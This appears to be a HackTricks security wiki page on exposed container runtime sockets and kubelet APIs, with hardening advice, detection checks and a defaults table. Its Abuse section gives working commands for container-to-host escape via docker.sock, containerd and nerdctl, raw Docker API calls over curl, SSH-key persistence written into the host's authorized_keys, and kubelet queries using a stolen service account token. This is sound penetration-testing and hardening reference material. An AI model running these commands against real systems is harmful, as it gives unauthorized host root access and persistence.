runtime-api-and-daemon-exposure.md (15478B)
1 --- 2 title: "Runtime API And Daemon Exposure" 3 section: "Linux" 4 sectionSlug: "linux-hardening" 5 sourcePath: "src/linux-hardening/containers-namespaces/container-security/runtime-api-and-daemon-exposure.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/linux-hardening/containers-namespaces/container-security/runtime-api-and-daemon-exposure.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: false 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # Runtime API And Daemon Exposure 14 15 ## Overview 16 17 Many real container compromises do not begin with a namespace escape at all. They begin with access to the runtime control plane. If a workload can talk to `dockerd`, `containerd`, CRI-O, Podman, or kubelet through a mounted Unix socket or an exposed TCP listener, the attacker may be able to request a new container with better privileges, mount the host filesystem, join host namespaces, or retrieve sensitive node information. In those cases, the runtime API is the real security boundary, and compromising it is functionally close to compromising the host. 18 19 This is why runtime socket exposure should be documented separately from kernel protections. A container with ordinary seccomp, capabilities, and MAC confinement can still be one API call away from host compromise if `/var/run/docker.sock` or `/run/containerd/containerd.sock` is mounted inside it. The kernel isolation of the current container may be working exactly as designed while the runtime management plane remains fully exposed. 20 21 ## Daemon Access Models 22 23 Docker Engine traditionally exposes its privileged API through the local Unix socket at `unix:///var/run/docker.sock`. Historically it has also been exposed remotely through TCP listeners such as `tcp://0.0.0.0:2375` or a TLS-protected listener on `2376`. Exposing the daemon remotely without strong TLS and client authentication effectively turns the Docker API into a remote root interface. 24 25 containerd, CRI-O, Podman, and kubelet expose similar high-impact surfaces. The names and workflows differ, but the logic does not. If the interface lets the caller create workloads, mount host paths, retrieve credentials, or alter running containers, the interface is a privileged management channel and should be treated accordingly. 26 27 Common local paths worth checking are: 28 29 ```text 30 /var/run/docker.sock 31 /run/docker.sock 32 /run/containerd/containerd.sock 33 /var/run/crio/crio.sock 34 /run/podman/podman.sock 35 /var/run/kubelet.sock 36 /run/buildkit/buildkitd.sock 37 /run/firecracker-containerd.sock 38 ``` 39 40 Older or more specialized stacks may also expose endpoints such as `dockershim.sock`, `frakti.sock`, or `rktlet.sock`. Those are less common in modern environments, but when encountered they should be treated with the same caution because they represent runtime-control surfaces rather than ordinary application sockets. 41 42 ## Secure Remote Access 43 44 If a daemon must be exposed beyond the local socket, the connection should be protected with TLS and preferably with mutual authentication so the daemon verifies the client and the client verifies the daemon. The old habit of opening the Docker daemon on plain HTTP for convenience is one of the most dangerous mistakes in container administration because the API surface is strong enough to create privileged containers directly. 45 46 The historical Docker configuration pattern looked like: 47 48 ```bash 49 DOCKER_OPTS="-H unix:///var/run/docker.sock -H tcp://192.168.56.101:2376" 50 sudo service docker restart 51 ``` 52 53 On systemd-based hosts, daemon communication may also appear as `fd://`, meaning the process inherits a pre-opened socket from systemd rather than binding it directly itself. The important lesson is not the exact syntax but the security consequence. The moment the daemon listens beyond a tightly permissioned local socket, transport security and client authentication become mandatory rather than optional hardening. 54 55 ## Abuse 56 57 If a runtime socket is present, confirm which one it is, whether a compatible client exists, and whether raw HTTP or gRPC access is possible: 58 59 ```bash 60 find / -maxdepth 3 \( -name docker.sock -o -name containerd.sock -o -name crio.sock -o -name podman.sock -o -name kubelet.sock \) 2>/dev/null 61 ss -xl | grep -E 'docker|containerd|crio|podman|kubelet' 2>/dev/null 62 docker -H unix:///var/run/docker.sock version 2>/dev/null 63 podman --url unix:///run/podman/podman.sock info 2>/dev/null 64 nerdctl --address /run/containerd/containerd.sock --namespace k8s.io ps 2>/dev/null 65 ctr --address /run/containerd/containerd.sock images ls 2>/dev/null 66 crictl --runtime-endpoint unix:///run/containerd/containerd.sock ps 2>/dev/null 67 crictl --runtime-endpoint unix:///var/run/crio/crio.sock ps 2>/dev/null 68 buildctl --addr unix:///run/buildkit/buildkitd.sock debug workers 2>/dev/null 69 ``` 70 71 These commands are useful because they distinguish between a dead path, a mounted but inaccessible socket, and a live privileged API. If the client succeeds, the next question is whether the API can launch a new container with a host bind mount or host namespace sharing. 72 73 ### When No Client Is Installed 74 75 The absence of `docker`, `podman`, or another friendly CLI does not mean the socket is safe. Docker Engine speaks HTTP over its Unix socket, and Podman exposes both a Docker-compatible API and a Libpod-native API through `podman system service`. That means a minimal environment with only `curl` may still be enough to drive the daemon: 76 77 ```bash 78 curl --unix-socket /var/run/docker.sock http://localhost/_ping 79 curl --unix-socket /var/run/docker.sock http://localhost/v1.54/images/json 80 curl --unix-socket /var/run/docker.sock \ 81 -H 'Content-Type: application/json' \ 82 -d '{"Image":"ubuntu:24.04","Cmd":["id"],"HostConfig":{"Binds":["/:/host"]}}' \ 83 -X POST http://localhost/v1.54/containers/create 84 85 curl --unix-socket /run/podman/podman.sock http://d/_ping 86 curl --unix-socket /run/podman/podman.sock http://d/v1.40.0/images/json 87 ``` 88 89 This matters during post-exploitation because defenders sometimes remove the usual client binaries but leave the management socket mounted. On Podman hosts, remember that the high-value path differs between rootful and rootless deployments: `unix:///run/podman/podman.sock` for rootful service instances and `unix://$XDG_RUNTIME_DIR/podman/podman.sock` for rootless ones. 90 91 ### Full Example: Docker Socket To Host Root 92 93 If `docker.sock` is reachable, the classical escape is to start a new container that mounts the host root filesystem and then `chroot` into it: 94 95 ```bash 96 docker -H unix:///var/run/docker.sock images 97 docker -H unix:///var/run/docker.sock run --rm -it -v /:/host ubuntu:24.04 chroot /host /bin/bash 98 ``` 99 100 This provides direct host-root execution through the Docker daemon. The impact is not limited to file reads. Once inside the new container, the attacker can alter host files, harvest credentials, implant persistence, or start additional privileged workloads. 101 102 ### Full Example: Docker Socket To Host Namespaces 103 104 If the attacker prefers namespace entry instead of filesystem-only access: 105 106 ```bash 107 docker -H unix:///var/run/docker.sock run --rm -it --pid=host --privileged ubuntu:24.04 bash 108 nsenter --target 1 --mount --uts --ipc --net --pid -- bash 109 ``` 110 111 This path reaches the host by asking the runtime to create a new container with explicit host-namespace exposure rather than by exploiting the current one. 112 113 ### Docker Socket Persistence Pattern 114 115 Runtime control can also be used for persistence instead of a one-shot shell. The generic pattern is to create a helper container with a host mount, write authorized access material or a startup hook into the mounted host filesystem, and then validate that the host consumes it. 116 117 Example shape: 118 119 ```bash 120 docker -H unix:///var/run/docker.sock run -d --name helper -v /:/host ubuntu:24.04 sleep infinity 121 docker -H unix:///var/run/docker.sock exec helper sh -c 'mkdir -p /host/root/.ssh && chmod 700 /host/root/.ssh' 122 docker -H unix:///var/run/docker.sock cp ./id_ed25519.pub helper:/tmp/key.pub 123 docker -H unix:///var/run/docker.sock exec helper sh -c 'cat /tmp/key.pub >>/host/root/.ssh/authorized_keys' 124 ``` 125 126 The same idea can target systemd units, cron fragments, application startup files, or SSH keys depending on what the operator wants to prove. The important point is that the persistent change is made through the runtime daemon's host-level filesystem authority, not through extra privilege in the original container. 127 128 ### Raw Docker API Helper Pivot 129 130 When the Docker CLI is missing, the same host-mount helper flow can be driven through HTTP over the Unix socket. The generic flow is: confirm the API, create a helper container with a host bind mount, start it, create an exec instance, and start that exec. 131 132 ```bash 133 curl --unix-socket /var/run/docker.sock http://localhost/_ping 134 curl --unix-socket /var/run/docker.sock \ 135 -H 'Content-Type: application/json' \ 136 -d '{"Image":"ubuntu:24.04","Cmd":["sleep","3600"],"HostConfig":{"Binds":["/:/host:rw"]}}' \ 137 -X POST http://localhost/v1.54/containers/create?name=helper 138 curl --unix-socket /var/run/docker.sock -X POST http://localhost/v1.54/containers/helper/start 139 curl --unix-socket /var/run/docker.sock \ 140 -H 'Content-Type: application/json' \ 141 -d '{"AttachStdout":true,"AttachStderr":true,"Cmd":["chroot","/host","id"]}' \ 142 -X POST http://localhost/v1.54/containers/helper/exec 143 ``` 144 145 The final `/exec/<id>/start` request depends on the returned exec ID, but the security point is independent of the exact JSON plumbing: raw API access to a rootful Docker daemon is enough to request a stronger helper workload. 146 147 ### Full Example: containerd Socket 148 149 A mounted `containerd` socket is usually just as dangerous:<sup>[[1]](#references)</sup> 150 151 ```bash 152 ctr --address /run/containerd/containerd.sock images pull docker.io/library/busybox:latest 153 ctr --address /run/containerd/containerd.sock run --tty --privileged --mount type=bind,src=/,dst=/host,options=rbind:rw docker.io/library/busybox:latest host /bin/sh 154 chroot /host /bin/sh 155 ``` 156 157 If a more Docker-like client is present, `nerdctl` can be more convenient than `ctr` because it exposes familiar flags such as `--privileged`, `--pid=host`, and `-v`: 158 159 ```bash 160 nerdctl --address /run/containerd/containerd.sock --namespace k8s.io run --rm -it \ 161 --privileged --pid=host -v /:/host docker.io/library/alpine:latest sh 162 chroot /host /bin/sh 163 ``` 164 165 The impact is again host compromise. Even if Docker-specific tooling is absent, another runtime API may still offer the same administrative power. On Kubernetes nodes, `crictl` may also be enough for reconnaissance and container interaction because it speaks the CRI endpoint directly. 166 167 ### BuildKit Socket 168 169 `buildkitd` is easy to miss because people often think of it as "just the build backend", but the daemon is still a privileged control plane. A reachable `buildkitd.sock` can allow an attacker to run arbitrary build steps, inspect worker capabilities, use local contexts from the compromised environment, and request dangerous entitlements such as `network.host` or `security.insecure` when the daemon was configured to allow them. 170 171 Useful first interactions are: 172 173 ```bash 174 buildctl --addr unix:///run/buildkit/buildkitd.sock debug workers 175 buildctl --addr unix:///run/buildkit/buildkitd.sock du 176 ``` 177 178 If the daemon accepts build requests, test whether insecure entitlements are available: 179 180 ```bash 181 buildctl --addr unix:///run/buildkit/buildkitd.sock build \ 182 --frontend dockerfile.v0 \ 183 --local context=. \ 184 --local dockerfile=. \ 185 --allow network.host \ 186 --allow security.insecure \ 187 --output type=local,dest=/tmp/buildkit-out 188 ``` 189 190 The exact impact depends on daemon configuration, but a rootful BuildKit service with permissive entitlements is not a harmless developer convenience. Treat it as another high-value administrative surface, especially on CI runners and shared build nodes. 191 192 ### Kubelet API Over TCP 193 194 The kubelet is not a container runtime, but it is still part of the node management plane and often sits in the same trust boundary discussion. If the kubelet secure port `10250` is reachable from the workload, or if node credentials, kubeconfigs, or proxy rights are exposed, the attacker may be able to enumerate Pods, retrieve logs, or execute commands in node-local containers without ever touching the Kubernetes API server admission path. 195 196 Start with cheap discovery: 197 198 ```bash 199 curl -sk https://127.0.0.1:10250/pods 200 curl -sk https://127.0.0.1:10250/runningpods/ 201 TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token 2>/dev/null) 202 curl -sk -H "Authorization: Bearer $TOKEN" https://127.0.0.1:10250/pods 203 ``` 204 205 If the kubelet or API-server proxy path authorizes `exec`, a WebSocket-capable client can turn that into code execution in other containers on the node. This is also why `nodes/proxy` with only `get` permission is more dangerous than it sounds: the request can still reach kubelet endpoints that execute commands, and those direct kubelet interactions do not show up in normal Kubernetes audit logs.<sup>[[2]](#references)</sup> 206 207 ## Checks 208 209 The goal of these checks is to answer whether the container can reach any management plane that should have remained outside the trust boundary. 210 211 ```bash 212 mount | grep -E '/var/run|/run|docker.sock|containerd.sock|crio.sock|podman.sock|kubelet.sock' 213 ss -lntp 2>/dev/null | grep -E ':2375|:2376' 214 env | grep -E 'DOCKER_HOST|CONTAINERD_ADDRESS|CRI_CONFIG_FILE|BUILDKIT_HOST|XDG_RUNTIME_DIR' 215 find /run /var/run -maxdepth 3 \( -name 'buildkitd.sock' -o -name 'podman.sock' \) 2>/dev/null 216 ``` 217 218 What is interesting here: 219 220 - A mounted runtime socket is usually a direct administrative primitive rather than mere information disclosure. 221 - A TCP listener on `2375` without TLS should be treated as a remote-compromise condition. 222 - Environment variables such as `DOCKER_HOST` often reveal that the workload was intentionally designed to talk to the host runtime. 223 224 ## Runtime Defaults 225 226 | Runtime / platform | Default state | Default behavior | Common manual weakening | 227 | --- | --- | --- | --- | 228 | Docker Engine | Local Unix socket by default | `dockerd` listens on the local socket and the daemon is usually rootful | mounting `/var/run/docker.sock`, exposing `tcp://...:2375`, weak or missing TLS on `2376` | 229 | Podman | Daemonless CLI by default | No long-lived privileged daemon is required for ordinary local use; API sockets may still be exposed when `podman system service` is enabled | exposing `podman.sock`, running the service broadly, rootful API use | 230 | containerd | Local privileged socket | Administrative API exposed through the local socket and usually consumed by higher-level tooling | mounting `containerd.sock`, broad `ctr` or `nerdctl` access, exposing privileged namespaces | 231 | CRI-O | Local privileged socket | CRI endpoint is intended for node-local trusted components | mounting `crio.sock`, exposing the CRI endpoint to untrusted workloads | 232 | Kubernetes kubelet | Node-local management API | Kubelet should not be broadly reachable from Pods; access may expose pod state, credentials, and execution features depending on authn/authz | mounting kubelet sockets or certs, weak kubelet auth, host networking plus reachable kubelet endpoint | 233 234 ## References 235 236 - [1] [containerd socket exploitation part 1](https://thegreycorner.com/2025/02/12/containerd-socket-exploitation-part-1.html) 237 - [2] [Kubernetes API Server Bypass Risks](https://kubernetes.io/docs/concepts/security/api-server-bypass-risks/)